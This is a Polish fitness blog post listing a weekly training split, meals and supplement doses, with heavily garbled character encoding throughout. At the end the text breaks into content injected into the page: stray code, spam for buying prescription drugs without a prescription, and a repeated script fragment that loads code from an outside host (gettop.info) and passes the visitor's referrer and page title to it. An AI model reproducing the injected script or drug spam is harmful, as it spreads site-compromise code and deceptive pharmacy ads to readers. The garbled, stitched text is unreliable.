Nowa sumplementacja

1.05.2012 / Michał Karmowski

Od wczoraj jestem na nowej diecie i suplementacji. RozkAi??ad treningA?w jest teraz piAi??ciodniowy czyli trenujAi?? kaA?dAi?? grupAi?? miAi??Ai??niowAi?? raz w tygodniu, a wyglAi??da to nastAi??pujAi??co;

poniedziaAi??ek-klatka, brzuch

wtorek-nogi

Ai??roda- barki, brzuch

czwartek- wolne

piAi??tek- triceps, biceps

sobota-plecy

niedziela-wolne

treningi cardio na razie przestajAi?? robiAi?? i bAi??dAi?? je wplataAi?? okresowo do mojego planu tylko wtedy kiedy bAi??dAi?? czuAi?? takAi?? potrzebAi?? wiAi??c intuicyjnie:-) Zamierzam testowaAi?? rA?A?ne metody treningowe , ktA?re bAi??dAi?? opisywaAi?? na blogu. Dwa dni temu byAi?? u mnie na treningu nowy zawodnik TREC’a Artur Szudrowicz, ktA?rego pozdrawiam.

dieta i suplementacja:

przed Ai??niadaniem 6caps l-carnitine complex, 2 miarki bcaa powder, 2 miarki l-glutamine extreme,

1-600g biaAi??ek jaj, 170g pAi??atkA?w owsianych, 30g rodzynek, 50g orzechA?w wAi??oskich

po Ai??niadaniu 1 tab vitamine c strong, vitalXpack, jointXpack, koenzym Q10

2,3-300g dorsza, 100g ryA?u, 20g oleju lnianego

przed treningiem: 6 caps l-carnitine complex, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 mairki S.A.W.

trening- po treningu 60g biaAi??ka z isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 150g ryA?u

4-5, 250g indyka, 100g ryA?u, 20g oliwy z oliwek

6-250g woAi??owiny, 50g masAi??a orzechowego jori lub migdaAi??owego} else { paroxetine cost walgreens cheap pamelor 10mg purchase tenormin generic buy synthroid without rx Cheap Buy purchase ralista s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; buy brand levitra where to buy kamagra safely. Kamagra online. best place to buy kamagra online. Purchase price of femara tablets Pills http://www.nemesis-systems.co.uk/?p=1012